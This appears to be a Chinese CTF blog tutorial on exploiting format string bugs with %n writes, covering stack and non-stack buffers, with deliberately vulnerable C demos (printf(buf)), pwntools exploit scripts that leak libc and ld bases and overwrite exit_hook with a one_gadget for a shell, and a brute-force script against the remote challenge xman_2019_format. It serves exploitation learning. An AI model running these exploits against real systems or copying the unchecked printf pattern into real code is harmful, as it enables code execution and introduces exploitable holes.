栈上格式化字符串实现任意地址写

本文主要基于师傅_sky123_的文章。把一些地方自己的理解写了下,学知识还是看师傅的原文章吧。写的初衷是之前遇到的格式化字符串基本就是用来泄露数据,然后最近发现还是有必要学习下利用格式化字符串写的方法。
原文链接https://blog.csdn.net/qq_45323960/article/details/122785431?spm=1001.2014.3001.5501

  1. %k$n

这个参数的作用是printf将已经成功输出的字符数(一个整数)写入到指定的地址。这里指定的地址指的是%k$处存储的数值(这个值需要是可写的,不然程序会崩溃)。

03:0018│+018     0x7ffd69d392b8 —▸ 0x7ffd69d393c8 —▸ 0x7ffd69d3b673 ◂— '/home/.../aa'
#也就是向地址0x7ffd69d393c8处写入内容,也就是覆盖0x7ffd69d3b673为我们写入的数据

因为是写入整数所以只会写入低4字节。当printf输出的字符数和参数分布控制的足够好时,能够实现向任意地址写入我们想要的值。在这里插入图片描述
ni后该地址存储的内容被修改(只有低4字节被修改)。
在这里插入图片描述

pwntools提供的工具fmtstr_payload

fmtstr_payload(offset,{address:data},numbwritten=0,write_size='byte')

offset:格式化字符串的偏移,也就是前面的%n$p的n值

numbwritten:表示已经成功输出的字符数

write_size:写入方式。默认是按字节写入。

一字节 (byte) ----hhn
两字节(short)---hn
四字节(int)---n

使用

exit_hook

常说的exit_hook其实就是下面这两处。具体不是很清楚什么情况固定利用哪个exit_hook,一个不能用就换另一个(我是这样写的,或者有更好的方法🤔)。
在这里插入图片描述

#include<stdio.h>
#include<string.h>
#include <unistd.h>
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    char buf[0x100] = {};
    while (1) {
        puts("please input:");
        read(0, buf, 0x300);
        if (strcmp(buf, "exit") == 0) {
            break;
        }
        printf(buf);
    }
    return 0;
}
gcc t.c -o bb -g

先放exp

from pwn import *
elf = ELF("./bb")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']  # 在 tmux 中水平分割窗口
p = process("./bb")
gdb.attach(p,"b *$rebase (5043)\nc")
r   = lambda num :p.recv(num)
ru  = lambda delims, drop=True :p.recvuntil(delims, drop)
s   = lambda data :p.send(data)
sl  = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim,data)
#libc base
#ld base
ru(b"input:\n")
s(b"%41$p%5$p")
libc.address = int(r(14),16)-0x24083 #使用one_gadget
info("libc base:"+hex(libc.address))
ld_base = int(r(14),16)-0x11d60  #使用exit_hook,这是在glibc2.31的情况下exit_hook在ld上
info("ld base:"+hex(ld_base))
onegadget = libc.address+[0xe3afe,0xe3b01,0xe3b04][0]
info("onegadget:"+hex(onegadget))
exit_hook = ld_base +0x2ef68
#exit_hook = ld_base +0x2ef6b
info("exit hook:"+hex(exit_hook))
ru(b"input:\n")
s(fmtstr_payload(6,{exit_hook:onegadget})) # 将exit_hook修改为one_gadget
ru(b"input:\n")
s(b"exit\x00\x00") #\x00将缓冲区原来有的内容覆盖,以实现退出
p.interactive()

在这里插入图片描述

  1. 程序正常退出时会调用exit.

  2. 确定exit_hook的偏移.
    在这里插入图片描述
    在这里插入图片描述

  3. 查找one_gadget

在这里插入图片描述

  1. 执行完格式化字符串的任意地址写后exit_hook被修改为one_gadget的地址

在这里插入图片描述

2.非栈上的格式化字符串

在这里插入图片描述

原理:

这个地方可以看看师傅_sky123_写的ebp2跳理解方法,我没大看懂师傅说的原理,就这样理解的。

非栈上格式化字符串与栈上格式化字符串显著区别是,非栈上格式化字符串不能向上面直接控制栈上的数据,从而实现任意地址写。

但是由于%k$n是向指定地址处写值,如果写入处的地址恰好是栈地址,写入的内容也是栈地址,那么必然在栈上存在我们写入处的地址,此时由于我们在该地址上写入了我们想要控制的栈地址,就能够通过再次利用%k$n实现栈上值的修改。

这里将演示的是写入的内容处原本就是栈地址,只用修改内容的低2字节。一般栈上都能够找到满足这样条件的数据(如图一)。如果是只有写入地址是栈地址,而内容原来不是栈地址(如图二),就需要覆盖8字节将内容修改为栈地址。printf的输出其实是有限制的这样的写入方式可能不会成功。

图一:

在这里插入图片描述

图二:

在这里插入图片描述

注意**%kck=0**的情况,这时候printf("%0c")会输出一个字符。所以脚本中要对值进行判断。
在这里插入图片描述


大概知识就是这些,然后直接演示下过程吧。

利用:

示例程序:这里与之前不同处就是将buf改为全局变量

#include<stdio.h>
#include<string.h>
#include <unistd.h>

char buf[0x100]={};
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    while (1) {
        puts("please input:");
        read(0, buf, 0x300);
        if (strcmp(buf, "exit") == 0) {
            break;
        }
        printf(buf);
    }
    return 0;
}
#环境ubuntu20.04 
#gcc test.c -o aa -g

调试程序运行到printf处,发现printf执行前栈顶的值并不是我们传入的参数,由此得出,这是非栈上的格式化字符串。所以我们不能直接修改栈上的数据,所以就只有另辟蹊径(上面提到的找栈内容里面还是栈地址套栈地址的)。

在这里插入图片描述

可以看到明显参数%9$hn处就是我们想找的。可以想到利用%9$hn将地址0x7ffcc8690865修改为我们的栈顶(修改成哪个栈地址都行,我这里就直接选在栈顶了,调试的时候方便看)。修改后再看栈情况

在这里插入图片描述

发现在%37$hn处就可以实现控制栈顶的内容。

def offset_write(offset,value):
    ru(b"input:\n")
    payload1_str = "%{}c%9$hn".format((stack_address+offset)&0xFFFF)
    payload1=payload1_str.encode()
    s(payload1)
    ru(b"input:\n")
    if value & 0xFFFF==0:
    	payload2_str = "%37$hn"
    else:
    	payload2_str = "%{}c%37$hn".format(value & 0xFFFF)
    payload2 = payload2_str.encode()
    s(payload2)

控制栈顶为想要的数据(这里选exit_hook,因为Ubuntu20.04的glibc版本是2.31,exit_hook还没有被删除),然后再利用%nexit_hook的内容修改为onegadget的地址,正常退出程序就能够拿到shell。

def func_change(address,target):
    offset_write(0,address >> 16*0&0xFFFF)
    offset_write(2,address >> 16*1&0xFFFF)
    offset_write(4,address >> 16*2&0xFFFF)
    offset_write(6,address >> 16*3&0xFFFF)
    #将8字节覆盖完全,避免垃圾数据残留
    ru(b"input:\n")
    payload3_str = "%{}c%n".format(target & 0xFFFFFFFF)  #%n根据具体的你修改的栈内容改动
    payload3 = payload3_str.encode()
    s(payload3)

完整exp

from pwn import *
elf = ELF("./aa")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

context.terminal = ['tmux', 'splitw', '-h']  # 在 tmux 中水平分割窗口

p = process("./aa")
gdb.attach(p,"b *$rebase (4670)\nc")

r   = lambda num :p.recv(num)
ru  = lambda delims, drop=True :p.recvuntil(delims, drop)
s   = lambda data :p.send(data)
sl  = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim,data)


def offset_write(offset,value):
    ru(b"input:\n")
    payload1_str = "%{}c%9$hn".format((stack_address+offset)&0xFFFF)
    payload1=payload1_str.encode()
    s(payload1)
    ru(b"input:\n")
    if value & 0xFFFF==0:
    	payload2_str = "%37$hn"
    else:
    	payload2_str = "%{}c%37$hn".format(value & 0xFFFF)
    payload2 = payload2_str.encode()
    s(payload2)
def func_change(address,target):
    offset_write(0,address >> 16*0&0xFFFF)
    offset_write(2,address >> 16*1&0xFFFF)
    offset_write(4,address >> 16*2&0xFFFF)
    offset_write(6,address >> 16*3&0xFFFF)
    ru(b"input:\n")
    payload3_str = "%{}c%n".format(target & 0xFFFFFFFF)
    payload3 = payload3_str.encode()
    s(payload3)
#libc base
#ld base
#stack
ru(b"input:\n")
s(b"%7$p%5$p%9$p")
libc.address = int(r(14),16)-0x24083 #使用one_gadget
info("libc base:"+hex(libc.address))
ld_base = int(r(14),16)-0x11d60  #使用exit_hook
info("ld base:"+hex(ld_base))
stack_address = int(r(14),16)-0xf8 #rsp
info("stack address:"+hex(stack_address))
onegadget = libc.address+[0xe3afe,0xe3b01,0xe3b04][0]
info("onegadget:"+hex(onegadget))
exit_hook = ld_base +0x2ef68
info("exit hook:"+hex(exit_hook))

func_change(exit_hook,onegadget)

ru(b"input:\n")
s(b"exit\x00\x00") #\x00将缓冲区原来有的内容覆盖,以实现退出
p.interactive()

总体说利用格式化字符串写最重要的就是1.向哪个地址写入,会引起哪个值的改变。2.想写入什么值

xman_2019_format

  1. 拖进ida中分析,发现格式化字符串不在栈上。然后只能输入一次,就不能像其他题目一样实现先泄露地址再进行写入。

在这里插入图片描述
在这里插入图片描述

2.查保护,发现pie保护没开,然后就是partial RELRO.在本地调试的时候可以先把ASLR保护关闭,调通后再用脚本进行爆破(总有一种情况和你本地关了ASLR的栈地址相同)。

  1. 结合非栈上格式化字符串的利用方法,这个程序没有exit_hook,而且也没有给libc版本。再看看ida发现有个backdoor

在这里插入图片描述
拿权限的地址有了,还有就是控制哪里的值为backdoor,这里就想到函数的返回地址,因为这个程序里面调用了很多个函数,所以返回地址有挺多个(随便用个返回地址就行)。

在这里插入图片描述

  1. 栈上也有连续的栈数据,思路就出来了。改0x0a处栈地址为返回地址的栈地址。这里以0x8048697为例,payload_str = "%{}c%10$hhn|%{}c%18$hn|".format(0xbc,0x85ab)这样就能够实现利用。
from pwn import *
elf = ELF("./xman_2019_format")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']  # 在 tmux 中水平分割窗口
#gdb.attach(p,"b *0x080485F6\nb *0x08048606\nc")
r   = lambda num :p.recv(num)
ru  = lambda delims, drop=True :p.recvuntil(delims, drop)
s   = lambda data :p.send(data)
sl  = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim,data)
back_door = 0x080485AB
#node5.buuoj.cn:28789
while True:
    #p = process([elf.path])
    p=remote("node5.buuoj.cn","28789")
    try:
        #payload_str = "%{}c%10$hn|%{}c%18$hn|".format(0xd2fc,0x85ab)
        payload_str = "%{}c%10$hhn|%{}c%18$hn|".format(0x1c,0x85ab)
        payload=payload_str.encode()
        sla(b"...",payload)
        s(b'ls')
        p.recvline_contains('py', timeout=1)
        p.interactive()
    except KeyboardInterrupt:
        p.close()
        exit(0)
    except:
        p.close()

感谢_sky123_师傅写的文章✪ ω ✪

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐